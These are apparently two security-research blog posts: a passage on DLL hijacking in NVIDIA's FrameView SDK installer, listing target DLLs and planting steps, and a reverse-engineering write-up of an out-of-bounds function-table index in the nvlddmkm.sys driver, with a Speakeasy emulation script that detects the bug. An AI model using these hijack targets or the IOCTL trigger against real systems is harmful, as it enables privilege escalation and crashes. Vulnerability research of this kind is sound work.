• No narrow timing window
• No sophisticated techniques needed
• Simple filesystem monitoring
• Standard user account sufficient
• High success rate

Finding Target DLLs

Attackers can identify which DLL to hijack using:

Method 1: Static Analysis (Ghidra)

1. Open nvfvsdksvc_x64.exe in Ghidra
2. Search for LoadLibrary() / LoadLibraryEx() calls
3. Find strings referencing DLL names
4. Identify DLLs loaded from ProgramData

Method 2: Dynamic Analysis (Easier)

1
2
3
4
5
6
7
8
Use Process Monitor (Procmon):
1. Filter: Process = nvfvsdksvc_x64.exe
2. Filter: Operation = CreateFile
3. Filter: Path contains .dll
4. Filter: Result = NAME NOT FOUND

Output shows DLLs the process tries to load but can't find.
Plant a malicious DLL with that name!

Common Target DLLs:

• version.dll - version checking
• dwmapi.dll - desktop window manager
• profapi.dll - user profiles
• cryptbase.dll - cryptography
• Application-specific: nvfvconfig.dll, nvfvhelper.dll

Comparison: Vulnerable vs Patched

Function-Level Changes

Finding Hijackable DLLs Using Ghidra

Before crafting our PoC exploit, I needed to analyze what DLLs are used by the installer and service to identify the best hijacking targets. This section documents the systematic approach to finding DLL hijacking opportunities.

Quick note: in this article I will not publish the working exploit/PoC since I am still working on it and I felt that the article publication was more important from ethical standpoint. Soon when I am done with the PoC I will reference a link here, to it in another post.

Despite that since later in the article I explain which DLLs are valid for hijacking, version.dll I believe would be a good target, since it is a common .dll and also if one is interested for more advanced fooling around, a more advanced technique could be applied (relatively easy) when hijacking such as DLL Proxying, as often DLL Hijacks cause a binary break and tools like Spartacus take care of this. It is able restore the native flow of the DLL execution. There are great explanations for this out there.

Methodology Overview

The process involves:

1. Static analysis - Using Ghidra to find all DLL references
2. String search - Locating .dll strings in the binary
3. Import table analysis - Distinguishing static vs dynamic loads
4. Prioritization - Identifying the most exploitable targets

Step 1: Searching for DLL Strings

First, I used Ghidra’s string search to find all DLL references in nvfvsdksvc_x64.exe.

Ghidra Steps:

1
2
3
4
1. Search → For Strings
2. Minimum Length: 5
3. Click "Search"
4. In "Defined Strings" window, Filter: .dll

Going into the Symbol Tree and examining the imports, I saw quite many functions. So I decided to Search for Strings and filter out only the .dll extensions.

Figure: DLL strings found in binary

Step 2: Analyzing DLL Load Patterns

Next, I examined how these DLLs are loaded by looking at the decompiled code around each DLL string reference.

Example 1: drvstore.dll

Navigating to the reference for drvstore.dll: Decompiled code shows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
if ((DAT_1400b5d60 != (HMODULE)0x0) || 
    (pVar4 = GetLastError(), pVar4 == (LPWSTR)0x7e)) {
  if (param_1 == 0) {
    lpLibFileName = L"drvstore.dll";
  }
}
else {
  UVar3 = GetSystemDirectoryW((LPWSTR)0x0,0);
  pWVar6 = (LPWSTR)LocalAlloc(0x40,(ulonglong)(uVar3 + 1) * 2 + 2);
  if (pWVar6 != (LPWSTR)0x0) {
    UVar3 = GetSystemDirectoryW(pWVar6,(ulonglong)(UVar3 + 1) * 2 + 2);
    if ((pWVar6[UVar3 - 1] != L'\\') {
      pWVar6[UVar3] = L'\\';
    }
  }
  
  pwVar10 = L"drvstore.dll";
  pWVar11 = pWVar6;
  do {
    iVar2 = (int)pwVar11;
    uVar1 = iVar2 + 1;
    pWVar11 = pwVar11 + 1;
  } while (uVar1 < 0xc);
  
  DAT_1400b5d60 = LoadLibraryExW(pwVar6,(HANDLE)0x0,local_158);
}

Key observation: The code builds a path to drvstore.dll and uses LoadLibraryExW. This is dynamically loaded, making it a potential hijacking target.

Example 2: devobj.dll (ldp.dll reference in image)

Decompiled code shows:

1
2
3
4
5
6
if ((_DAT_1400b5dd8 != (HMODULE)0x0) || 
    (pVar4 = GetLastError(), pVar4 == GetLastError())) {
  if (param_1 == 0) {
    lpLibFileName = L"ldp.dll";
  }
}

Similar pattern - dynamic loading via LoadLibrary.

Example 3: cryptnet.dll

Looking at the cryptnet.dll reference: Decompiled code:

1
2
3
4
5
6
7
8
9
10
if ((_DAT_1400b5dd8 != (HMODULE)0x0) || 
    (pVar4 = GetLastError(), pVar4 == (LPWSTR)0x7e)) {
  if (param_1 == 0) {
    pwVar15 = L"cryptnet.dll";
  }
}
else {
  // Path construction code...
  DAT_1400b5dd8 = LoadLibraryExW(pwVar6,(HANDLE)0x0,local_158);
}

Example 4: cryptbase.dll

Examining cryptbase.dll references: String location:

1
2
3
140097af0  63 00 72  unicode  u"cryptbase.dll"
           00 79 00
           70 00 74

XREF References:

1
2
3
4
XREF[4,2]:  FUN_140001680:140001b9c(*),
            FUN_140001680:140001ba2(R),
            FUN_140001680:140001bc2(*),
            FUN_140001680:140001bc2(R)

Multiple references indicate this DLL is loaded in several places! Decompiled code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if ((DAT_1400b5db0 != (HMODULE)0x0) || 
    (pVar4 = GetLastError(), pVar4 == (LPWSTR)0x7e)) {
  if (param_1 == 0) {
    pwVar13 = L"cryptbase.dll";
  }
}
else {
  UVar3 = GetSystemDirectoryW((LPWSTR)0x0,0);
  pWVar6 = (LPWSTR)LocalAlloc(0x40,(ulonglong)(uVar3 + 1) * 2 + 2);
  // ... path construction ...
  pwVar13 = L"cryptbase.dll";
  // ... more code ...
  DAT_1400b5db0 = LoadLibraryExW(pwVar6,(HANDLE)0x0,local_158);
}

String reference confirmation:

1
2
3
140097940  63 00 72  unicode  u"cryptbase.dll"
           00 79 00
           70 00 74

XREF References:

1
2
3
4
XREF[4,2]:  FUN_140001680:140001ba9e(*),
            FUN_140001680:140001ba2(R),
            FUN_140001680:140001bc1(*),
            FUN_140001680:140001b18

Step 3: Examining Import Table for VERSION.dll

While examining the import table in Ghidra, I noticed functions that belong to version.dll:

Import Table Analysis:

1
2
3
4
5
6
7
8
9
10
11
IMAGE_IMPORT_BY_NAME_15_1400aab6
  dw    10h
  ds    "VerQueryValueW"

IMAGE_IMPORT_BY_NAME_24_1400aac8  
  dw    04h
  ds    "GetFileVersionInfoSizeW..."
  
IMAGE_IMPORT_BY_NAME_20_1400aae2
  dw    00h
  ds    "GetFileVersionInfoA"

Key functions imported:

• VerQueryValueW - Retrieves version information
• GetFileVersionInfoSizeW - Gets size of version info
• GetFileVersionInfoA - Retrieves file version info

These functions are from VERSION.dll, indicating this DLL is loaded to check file versions.

Step 4: Distinguishing Hijackable vs Non-Hijackable

After analyzing all DLL references, I categorized them:

HIJACKABLE - Dynamically Loaded

These DLLs are loaded via LoadLibrary/LoadLibraryEx with either:

• Relative paths
• No path specified (searches application directory first)
• Conditional loading based on availability

Primary Targets:

1. version.dll - PRIMARY TARGET

   • Functions: VerQueryValueW, GetFileVersionInfoSizeW
   • Usage: Version checking functionality
   • Load method: Dynamic (likely LoadLibrary with no path)
   • Windows searches application directory FIRST

2. cryptbase.dll

   • Usage: Cryptography base functions
   • Load method: LoadLibraryExW with path construction
   • Multiple references (4 XREFs)
   • Loaded conditionally

3. cryptnet.dll

   • Usage: Cryptography network functions
   • Load method: LoadLibraryExW
   • Similar pattern to cryptbase.dll

4. drvstore.dll

   • Usage: Driver store operations
   • Load method: LoadLibraryExW
   • Path construction from System directory

5. wldp.dll

   • Usage: Windows Lockdown Policy
   • Load method: Dynamic
   • Loaded conditionally

6. devobj.dll (referenced as ldp.dll in code)

   • Usage: Device object operations
   • Load method: Dynamic

NOT HIJACKABLE - Static Imports

These are in the import table and loaded by Windows before any code executes:

• KERNEL32.dll - Core Windows API
• USER32.dll - Window management
• ADVAPI32.dll - Advanced Windows API
• SHELL32.dll - Shell functions
• ole32.dll - COM/OLE
• bcrypt.dll - Cryptography (newer, static)
• SHLWAPI.dll - Shell lightweight API

Priority Rankings:

Why version.dll is the Primary Target

version.dll is the best hijacking target because:

1. Ubiquitous Usage: Many Windows applications check file versions
2. Application Directory Search: Windows DLL search order checks app directory FIRST
3. Not Critical for Loading: If it fails, the app usually continues (error handling present)
4. Confirmed Usage: Import table clearly shows VerQueryValueW, GetFileVersionInfoSizeW, GetFileVersionInfoA
5. SYSTEM Privileges: Loaded by nvfvsdksvc_x64.exe which runs as NT AUTHORITY\SYSTEM

DLL Load Location Analysis

Examining the code patterns, the DLLs follow this loading behavior:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// Typical loading pattern found in the binary
HMODULE hDll;

// Try loading from application directory first
hDll = LoadLibraryExW(L"version.dll", NULL, 0);

if (hDll == NULL) {
    // If not found, Windows automatically searches:
    // 1. Application directory ← WE CONTROL THIS!
    // 2. System32 directory
    // 3. System directory
    // 4. Windows directory
    // 5. Current directory
    // 6. PATH directories
}

// Use the DLL
FARPROC pFunc = GetProcAddress(hDll, "VerQueryValueW");

Attack window:

1. Installer creates C:\ProgramData\NVIDIA Corporation\FrameViewSDK\ with weak permissions
2. Attacker plants version.dll in that directory
3. Service starts and tries to load version.dll
4. Windows finds attacker’s DLL FIRST (application directory)
5. Malicious code executes as SYSTEM

Conclusion

Through systematic reverse engineering analysis using Ghidra, I identified the critical local privilege escalation vulnerability in NVIDIA FrameView SDK’s installer. The root cause is consistent use of CreateDirectoryW() with NULL security attributes across multiple functions, creating three vulnerable directories that enable DLL hijacking attacks.

Key Takeaways:

1. Systemic Issue: The same insecure pattern appeared in 3 separate locations, suggesting lack of secure coding guidelines or security review
2. Wide Attack Surface: Multiple directories, multiple processes, multiple exploitation paths
3. Easy Exploitation: No race condition, wide time window, low technical complexity
4. Multiple DLL Targets: Identified 6+ hijackable DLLs with version.dll as primary target
5. Proper Fix: NVIDIA’s patch correctly implements Windows security descriptors with restrictive ACLs for all affected calls

This vulnerability demonstrates the critical importance of proper security attribute configuration in Windows API calls, especially in privileged installation contexts. Small oversights (passing NULL instead of proper security attributes) can lead to complete system compromise through DLL hijacking.

This concludes the reverse-engineering part.

Tools Used

• Ghidra 11.0+ - Disassembly, decompilation, version tracking
• Meld - Visual diff comparison
• Uni-Extract 2 - Installer unpacking
• PowerShell - Filesystem comparison, permission checking
• Process Monitor - Dynamic analysis (optional)

References

• CVE-2025-23297 - NVIDIA Security Bulletin
• Microsoft Docs - CreateDirectoryW function
• Windows Security - ACLs and Security Descriptors
• MITRE ATT&CK - T1574.001 (DLL Search Order Hijacking)

BYE from TFLL37

P.S. For any mistakes, improvements or suggestions, write me using the contact form on this blog

(Note: This article is for educational and security research purposes only. The information provided should not be used for any malicious activities, nor I bear any responsibility for any misuse of it)

On July 24, 2025, NVIDIA published a security bulletin that immediately caught my attention. It detailed several new vulnerabilities, but two, in particular, stood out as a fascinating side-project for honing my reverse engineering and vulnerability analysis skills:

While installer vulnerabilities are a rich field, my focus was drawn to the kernel. CVE-2025-23278 was described as an “improper index validation” that could lead to “data tampering or denial of service.” This is often a sign of a memory corruption bug, which can be a gateway to full system compromise.

This post will document my journey dissecting CVE-2025-23278. We’ll go from a vague security advisory to a working proof-of-concept, exploring the hurdles, and the crucial differences between a failed and a successful exploit.

The Toolkit

For this investigation, I relied on a few key tools:

• Ghidra: Reverse engineering suite.
• Speakeasy: A Windows kernel and user-mode emulator from Mandiant, perfect for dynamic analysis without risking a real system.(I would love to see the BSOD, but unfortunately I have no spare machines for fooling around :( )
• UniExtract2: For unpacking the NVIDIA installer to get to the driver files within, since I could not natively install the drivers.

Phase 1: The Setup - Acquiring the Target

The advisory stated that driver versions in the R575 branch prior to 577.00 were affected. The first step was to find and download a vulnerable driver. I settled on NVIDIA GeForce Graphics Driver 576.88 WHQL, released on July 1, 2025.

Driver Details:

• File: 576.88-desktop-win10-win11-64bit-international-dch-whql.exe
• Size: 829.0 MB
• SHA256: 6151095ea7299ed4569649c2a04ff7f78659a40bd95d933d0ee063c8a2c2986a

Since I don’t have a spare physical machine with an NVIDIA GPU (and GPU passthrough to a VM will not work, as my host is patched), my plan was to extract the kernel driver and analyze it statically and dynamically through emulation. Using UniExtract2, I unpacked the installer and located the core kernel driver: nvlddmkm.sys.

Phase 2: Reverse Engineering with Ghidra

With the target binary in hand, I loaded nvlddmkm.sys into Ghidra. The initial analysis revealed a massive binary with over 10,000 functions and no public symbols (PDB file), as expected. This is where the real work begins.

Finding the Entry Point

My first goal was to find the driver’s main entry point, DriverEntry. In Ghidra’s “Symbol Tree,” under “Exports,” I didn’t find a function named DriverEntry. Instead, there was a single, simple export named entry.

1
2
3
4
5
6
// Ghidra's decompilation of the exported 'entry' function
void entry(undefined8 param_1, undefined8 param_2) {
  __security_init_cookie();
  FUN_146c3c0b0(param_1, param_2); // The real initialization function
  return;
}

This is a common pattern where the exported function is just a wrapper. The real logic was inside FUN_146c3c0b0.

Locating the IOCTL Dispatcher

In Windows driver development, the DriverEntry function is responsible for setting up handlers for different types of I/O Request Packets (IRPs). The most interesting one for us is IRP_MJ_DEVICE_CONTROL, which handles IOCTLs sent from user-mode applications.

Inside the real DriverEntry function (FUN_146c3c0b0), I searched for assignments to the MajorFunction array of the DRIVER_OBJECT structure. I found a block of code that set the same function pointer for all major IRP types.

1
2
3
4
5
6
7
8
9
// Simplified decompilation from Ghidra
// param_1 is the DRIVER_OBJECT
puVar17 = (undefined8 *)(param_1 + 0x70); // MajorFunction array starts at offset 0x70

// Set the dispatch handlers
*puVar17 = FUN_1419887a0;                    // IRP_MJ_CREATE
*(code **)(param_1 + 0x78) = FUN_1419887a0; // IRP_MJ_CLOSE
*(code **)(param_1 + 0x80) = FUN_1419887a0; // IRP_MJ_READ
// ... and so on, including IRP_MJ_DEVICE_CONTROL ...

This was a significant finding: a single, massive function, FUN_1419887a0, handles almost all communication from user-mode. This function was my prime suspect.

Uncovering the Vulnerability

Navigating to FUN_1419887a0, I found the code that processes incoming IOCTLs. The logic was complex, but one path immediately stood out.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// Vulnerable dispatch function at 0x1419887a0
undefined8 FUN_1419887a0(longlong param_1, longlong param_2)
{
  int iVar1;
  byte *pbVar2; // This will point to our user-controlled input buffer
  undefined8 uVar3;
  
  // 1. Get the input buffer from the IRP (param_2) at offset 0xb8
  pbVar2 = *(byte **)(param_2 + 0xb8);
  
  if (pbVar2 == (byte *)0x0) {
    FUN_140dbf7d0(); // Error handling
  }

  // 2. Get a type value from the Device Object (param_1) at offset 0x48
  iVar1 = *(int *)(param_1 + 0x48);
  ------
   if (iVar1 == 0x4a6e) {   // ... some checks for specific device types ... I assume
    if (DAT_1412503bd != '\0') {
      uVar3 = FUN_141987f50(param_1,param_2);
      return uVar3;
    }
  }
  else {
    if (iVar1 == 0x90de) {
    // A vulnerable path
      uVar3 = (**(code **)(&DAT_141287dc0 + (ulonglong)*pbVar2 * 8))(param_1,param_2);
      return uVar3;
    }
     // 3. THE VULNERABLE DEFAULT PATH!
    // It takes the first byte of our input buffer (*pbVar2)...
    // ...multiplies it by 8...
    // ...adds it to a base address (0x141287ce0)...
    // ...and CALLS the address it finds there!
    if (iVar1 != 0xa033) {
      if (iVar1 != 0xa0de) {
        uVar3 = (*(code *)(&PTR_141287ce0)[*pbVar2])(param_1);
        return uVar3;
      }
      uVar3 = FUN_1418fcb50(param_1,param_2);
      return uVar3;
    }
  }
  return 0xc0000002;
}
  

This is the vulnerability in plain sight. There is absolutely no check to ensure the value of *pbVar2 is within a valid range. An attacker can provide any byte value from 0 to 255. This value is used as an index into a function pointer table located at 0x141287ce0.

Analyzing the Function Table

My next step was to see how large this function table actually was. I navigated to 0x141287ce0.

Hurdle: Ghidra had misinterpreted this data region as code, showing a mess of ADD instructions. Solution:

1. Go to the address 141287ce0.
2. Select the memory range and press C (or right-click -> “Clear Code Bytes”).
3. Right-click the start of the range and select Data -> pointer. Ghidra correctly identified a series of 8-byte pointers.

Here’s what the table looked like after correction:

The table only has 5 valid entries (indices 0-4). Any index of 5 or greater will cause the driver to read a “function pointer” from memory outside of this table and attempt to execute it. This is a classic out-of-bounds read leading to a controlled-call vulnerability.

Phase 3: The Proof - Emulation with Speakeasy

Static analysis is great, but proving the vulnerability requires dynamic execution. This is where Speakeasy comes in. But before I begin with this section i wanted to express my opinion and to make some warnings about using Speakeasy to emulate drivers. Emulating this large and complex drivers is ABSOLUTE HELL. In my case I had to use Speakeasy as a python library, because I had to establish memory hooks and much more, thus the CLI of Speakeasy was of no use, and loading this massive driver(111MB) takes an ENOURMOUS amount of time. Disabling the production of Memory Dumps and Strings Extractions did sped up the whole process, but oftentimes doing this, meant to use custom config.json(for Speakeasy) when running the exploit, which was pretty unstable. The emulations from start to finish took 1h to 2h. Yes, this makes future testings and validations of POCs and exploits for such cases with complex drivers almost impractical. I am still looking for ways to circumvent this issue, but to no avail, so I will be glad, someone reading this article to share experience and/or suggestions. Use the Contact Form(for now comments will stay disabled) on this page.

Final words about Speakeasy - honestly great tool for emulation and it would work perfectly with smaller pieces of files. The CLI version of it is also good. This was to be expected from Python tool.

To continue, I wrote two Python scripts to simulate the attack.

Attempt #1:

My first script was simple. It used Speakeasy’s default configuration, set up the necessary IRP and Device Object structures, placed a malicious index (255) in the input buffer, and called the vulnerable function, wrapping it in a try...except block to catch a crash.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# minimal.py - Abridged
se = speakeasy.Speakeasy()
driver = se.load_module(driver_path)
se.run_module(driver) # Initialize DriverEntry

# ... (setup IRP, Device Object, and input buffer with index 255) ...

try:
    print("Calling vulnerable dispatch function")
    result = se.call(dispatch_function, [device_addr, irp_addr])
    print(f"Function returned without exception: {result}")
except Exception as e:
    exception_occurred = True
    print(f"\n[!!!] EXCEPTION TRIGGERED!")

I ran it, and… nothing.

1
2
3
4
Calling vulnerable dispatch function...
Function returned without exception: None
...
No exception triggered - check report for details

Why did it fail? This was a crucial learning moment. An out-of-bounds read doesn’t guarantee a crash. The calculated address (0x141287ce0 + 255 * 8 = 0x1412884d8) was still within the driver’s mapped memory. The CPU happily read 8 bytes of garbage data from that location and tried to call it. Since that garbage value was likely 0x0000000000000000 or another non-executable but readable address, the emulator simply returned None instead of raising a hardware exception. Although, I suppose on an actual natively installed driver this would have already caused the lovely BSOD.

Attempt #2: A More Refined Approach

I needed a more precise way to detect the vulnerability. Instead of waiting for a crash, I needed to watch the memory access itself. Speakeasy’s memory hooking is perfect for this.

The second script, inherits from the Speakeasy class and installs a custom memory read hook.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# new.py - The memory hook
def hook_mem_read(self, emu, access, address, size, value, ctx=None):
    table_start = self.function_table_base  # 0x141287ce0
    table_end = table_start + (self.valid_table_size * 8) # 0x141287d08
    
    # Check if the read is within the valid table
    if address >= table_start and address < table_end:
        index = (address - table_start) // 8
        print(f"Valid table access: index={index}, addr={hex(address)}")
    # Check if the read is just outside the table, where we expect it
    elif address >= table_end and address < (table_start + (256 * 8)):
        index = (address - table_start) // 8
        print(f"\n ═══════════════════════════════════════")
        print(f"OUT-OF-BOUNDS TABLE ACCESS DETECTED!")
        print(f"    Index: {index} (valid range: 0-4)")
        print(f"    Address: {hex(address)}")
        print(f"    Beyond table by: {address - table_end} bytes")
        print(f"═════════════════════════════════════════\n")
        self.vuln_triggered = True

This time, the script didn’t wait for an exception. It actively monitored every read operation. When the vulnerable function tried to read from an address outside the 0x141287ce0 - 0x141287d07 range, my hook would fire.

The result was a resounding success.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
======================================================================
[TEST] FIRST OOB INDEX: index=5
======================================================================
OUT-OF-BOUNDS index - will access: 0x141287d08
Beyond table by: 0 bytes

Calling dispatch function at 0x1419887a0
...
═══════════════════════════════════════════════
OUT-OF-BOUNDS TABLE ACCESS DETECTED!
═══════════════════════════════════════════════
    Index: 5 (valid range: 0-4)
    Address: 0x141287d08
    Beyond table by: 0 bytes
═══════════════════════════════════════════════

...

======================================================================
FINAL TEST SUMMARY
======================================================================
Vulnerability triggered: True
Out-of-bounds accesses detected: 3

The hook successfully detected every out-of-bounds read attempt, confirming the vulnerability with precision.

The complete POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
import speakeasy
import struct
import sys

class NvidiaVulnTester(speakeasy.Speakeasy):
    def __init__(self):
        super().__init__()
        
        if hasattr(self, 'emu') and hasattr(self.emu, 'profiler'):
            self.emu.profiler.strings = {'ansi': set(), 'unicode': set()}
            original_add_string = self.emu.profiler.add_string
            def noop_add_string(s, stype='ansi'):
                return
            self.emu.profiler.add_string = noop_add_string
            print("String profiler disabled")
        else:
            print("Profiler not accessible, proceeding anyway")
        
        self.vuln_triggered = False
        self.oob_accesses = []
        self.function_table_base = 0x141287ce0
        self.valid_table_size = 5
        self.dispatch_function = 0x1419887a0
        
    def setup_hooks(self):
        print("Setting up memory read hook...")
        self.emu.add_mem_read_hook(self.hook_mem_read)
        print("Memory hooks installed")
            
    def hook_mem_read(self, emu, access, address, size, value, ctx=None):
        table_start = self.function_table_base
        table_end = table_start + (self.valid_table_size * 8)
        
        if address >= table_start and address < table_end:
            index = (address - table_start) // 8
            print(f"Valid table access: index={index}, addr={hex(address)}")
        elif address >= table_end and address < (table_start + (256 * 8)):
            index = (address - table_start) // 8
            print(f"\n═══════════════════════════════════════════════")
            print(f"OUT-OF-BOUNDS TABLE ACCESS DETECTED!")
            print(f"═══════════════════════════════════════════════")
            print(f"    Index: {index} (valid range: 0-{self.valid_table_size-1})")
            print(f"    Address: {hex(address)}")
            print(f"    Beyond table by: {address - table_end} bytes")
            print(f"═══════════════════════════════════════════════\n")
            self.vuln_triggered = True
            self.oob_accesses.append({
                'index': index,
                'address': address,
                'offset': address - table_end
            })
            
    def create_ioctl_irp(self, device_type, input_buffer, input_size):
        irp_addr = self.mem_alloc(0x2000, tag='test.irp')
        buffer_addr = self.mem_alloc(input_size, tag='test.input')
        self.mem_write(buffer_addr, input_buffer)
        
        self.mem_write(irp_addr + 0x30, struct.pack('<I', 0))
        self.mem_write(irp_addr + 0xb8, struct.pack('<Q', buffer_addr))
        
        print(f"Created IRP at {hex(irp_addr)}")
        print(f"Input buffer at {hex(buffer_addr)} (size: {input_size} bytes)")
        
        return irp_addr, buffer_addr
        
    def create_device_object(self, device_type):
        dev_obj_addr = self.mem_alloc(0x1000, tag='test.device')
        self.mem_write(dev_obj_addr + 0x48, struct.pack('<I', device_type))
        
        print(f"Created DEVICE_OBJECT at {hex(dev_obj_addr)}")
        print(f"Device type: {hex(device_type)}")
        
        return dev_obj_addr
        
    def call_dispatch_function(self, dev_obj, irp, index):
        print(f"\nCalling dispatch function at {hex(self.dispatch_function)}")
        print(f"Parameters: DeviceObject={hex(dev_obj)}, IRP={hex(irp)}")
        print(f"Index in buffer: {index}")
        
        try:
            result = self.call(self.dispatch_function, [dev_obj, irp])
            print(f"Dispatch function returned: {hex(result) if isinstance(result, int) else result}")
            return result
        except Exception as e:
            print(f"Exception during dispatch: {e}")
            import traceback
            traceback.print_exc()
            return None
        
    def test_index(self, index, description):
        print(f"\n{'='*70}")
        print(f"[TEST] {description}: index={index}")
        print(f"{'='*70}")
        
        input_buffer = struct.pack('B', index) + b'\x00' * 31
        irp, buf_addr = self.create_ioctl_irp(0x1234, input_buffer, len(input_buffer))
        dev_obj = self.create_device_object(0x1234)
        
        target_addr = self.function_table_base + (index * 8)
        is_valid = index < self.valid_table_size
        
        if is_valid:
            print(f"VALID index - will access: {hex(target_addr)}")
        else:
            oob_bytes = (index - self.valid_table_size) * 8
            print(f"OUT-OF-BOUNDS index - will access: {hex(target_addr)}")
            print(f"Beyond table by: {oob_bytes} bytes")
        
        self.call_dispatch_function(dev_obj, irp, index)
        
        return irp, dev_obj
        
    def run_vulnerability_tests(self, driver_path):
        print(f"\n{'#'*70}")
        print(f"# CVE-2025-23278 Vulnerability POC")
        print(f"# Target: {driver_path}")
        print(f"{'#'*70}\n")
        
        print("Loading NVIDIA driver...")
        try:
            driver = self.load_module(driver_path)
            print(f"Driver loaded successfully")
            print(f"Base address: {hex(driver.base)}")
            print(f"ispatch function at: {hex(self.dispatch_function)}")
        except Exception as e:
            print(f"Failed to load driver: {e}")
            import traceback
            traceback.print_exc()
            return None
            
        print("Installing monitoring hooks...")
        self.setup_hooks()
        
        print("Executing DriverEntry to initialize driver...")
        try:
            self.run_module(driver)
            print("DriverEntry executed - function table should be initialized")
        except Exception as e:
            print(f"DriverEntry failed (may be expected): {e}")
            
        print("\n" + "="*70)
        print("PHASE 1: Testing VALID index (baseline)")
        print("="*70)
        self.test_index(2, "VALID INDEX")
            
        print("\n" + "="*70)
        print("PHASE 2: Testing FIRST OUT-OF-BOUNDS index")
        print("="*70)
        self.test_index(5, "FIRST OOB INDEX")
        
        print("\n" + "="*70)
        print("PHASE 3: Testing SIGNIFICANTLY OUT-OF-BOUNDS index")
        print("="*70)
        self.test_index(10, "SIGNIFICANTLY OOB INDEX")
        
        print("\n" + "="*70)
        print("PHASE 4: Testing MAXIMUM OUT-OF-BOUNDS index")
        print("="*70)
        self.test_index(255, "SMOKED OOB INDEX")
        
        print("\n" + "="*70)
        print("FINAL TEST SUMMARY")
        print("="*70)
        print(f"Vulnerability triggered: {self.vuln_triggered}")
        print(f"Out-of-bounds accesses detected: {len(self.oob_accesses)}")
        
        if self.oob_accesses:
            print("\nDETECTED OUT-OF-BOUNDS ACCESSES:")
            for i, access in enumerate(self.oob_accesses, 1):
                print(f"\n  Access #{i}:")
                print(f"    Index: {access['index']}")
                print(f"    Address: {hex(access['address'])}")
                print(f"    Beyond table: +{access['offset']} bytes")
        else:
            print("\n[*] No out-of-bounds accesses detected")
        
        return None

if __name__ == "__main__":

    driver_path = sys.argv[1]
    
    print("""
    ╔═══════════════════════════════════════════════════════════╗
    ║  CVE-2025-23278 Vulnerability POC                         ║
    ║  NVIDIA nvlddmkm.sys - Invalid Array Index Vulnerability  ║
    ║  ACTIVE DISPATCH FUNCTION TESTING                         ║
    ║  TFLL37                                                   ║
    ╚═══════════════════════════════════════════════════════════╝
    """)
    
    tester = NvidiaVulnTester()
    tester.run_vulnerability_tests(driver_path)
    
    print("\n+++++++++++++FINISHED+++++++++++++")

Phase 4: Exploitation, Impact, and Real-World Parallels

With the vulnerability confirmed, let’s consider the impact.

Denial of Service (BSOD)

This is the most straightforward outcome. By providing an index that points to an unmapped or non-executable memory page, the driver will attempt to call an invalid address. This results in an immediate kernel panic and a Blue Screen of Death (BSOD), crashing the entire system. Any local user or application could trigger this, making it a high-availability risk.

Data Tampering and Information Disclosure

The vulnerability is an out-of-bounds read. This means an attacker could carefully choose an index to read 8 bytes of data from a known offset in kernel memory. This could leak kernel pointers or other sensitive data, which is a critical step in bypassing security mitigations like Kernel Address Space Layout Randomization (KASLR). While the CVE description mentions “data tampering,” this would typically require an out-of-bounds write. However, a controlled call could be used to invoke a function that modifies data, achieving the same effect indirectly.

Arbitrary Code Execution (ACE)

Achieving full code execution is the goal. The path would look like this:

1. Memory Leak: Use the OOB read or another vulnerability to leak kernel addresses and defeat KASLR.
2. Control Memory: Find a way to write a controlled value (the address of shellcode) to a predictable location in kernel memory just beyond the function table. This often requires a second vulnerability or a technique like memory spraying.
3. Trigger the Call: Send the IOCTL with the crafted index that points to the attacker-controlled memory location.
4. Execute Shellcode: The driver reads the attacker-provided address and jumps to it, executing the shellcode with kernel (SYSTEM) privileges.

Malware and Worms

CVE-2025-23278 is a local privilege escalation (LPE) flaw(could be), meaning the attacker already needs to have code running on the machine.

However, it could easily be chained with a remote code execution (RCE) vulnerability (e.g., in a browser or network service). Once a malicious program gains initial user-level access, it could use this NVIDIA driver exploit to:

1. Escalate to SYSTEM privileges to disable security software (like EDR or antivirus).
2. Gain deep persistence by installing itself as a rootkit.
3. Cause mass disruption by simply triggering a BSOD on every infected machine.

This is reminiscent of how early exploits for vulnerabilities like BlueKeep (CVE-2019-0708) often just caused a BSOD, and how modern malware uses BYOVD (Bring Your Own Vulnerable Driver) attacks to gain kernel access by abusing legitimate, signed drivers. I kinda want to try looking more into the BYOVD concept and to try to do research sample of BYOVI(Bring Your Own Vulnerable Installer). I understand that bringing an 800MB installer is just funny but, after all this is just for the joke of doing the malw sample.

Conclusion and Future Work

This investigation was a fascinating journey from a one-line vulnerability description to an emulated proof-of-concept. The key takeaway was the critical importance of the detection method: a simple try...except block is not enough to catch subtle memory corruption bugs; active monitoring with hooks is essential.

My next steps in this research area will be to:

• Analyze CVE-2025-23276 to understand the installer-level attack surface.(BIG IF)
• Explore similar driver architectures from other vendors like AMD.
• More portable and easier malware propagation(PURELY FOR RESEARCH PURPOSES!)
• Malware obfuscation

Regarding the last point of Malware obfuscation, I have a pretty interesting idea(imo) that involves propositional logic complication. I have been spending time researching this and I am aware of the existing solutions to this idea, mine differs a bit(maybe). This is far more challenging and given the spare time I usually have alongside my university, I doubt this project will be realized any time soon.

BYE

TFLL37

P.S. #NAHALm4Life

Disclaimer: This article is provided for educational purposes only. I BEAR NO RESPONSIBLITY OR LIABILITY FOR ANY CONSEQUENCES RESULTING FROM THE USE OR MISUSE OF THE INFORMATION CONTAINED HEREIN.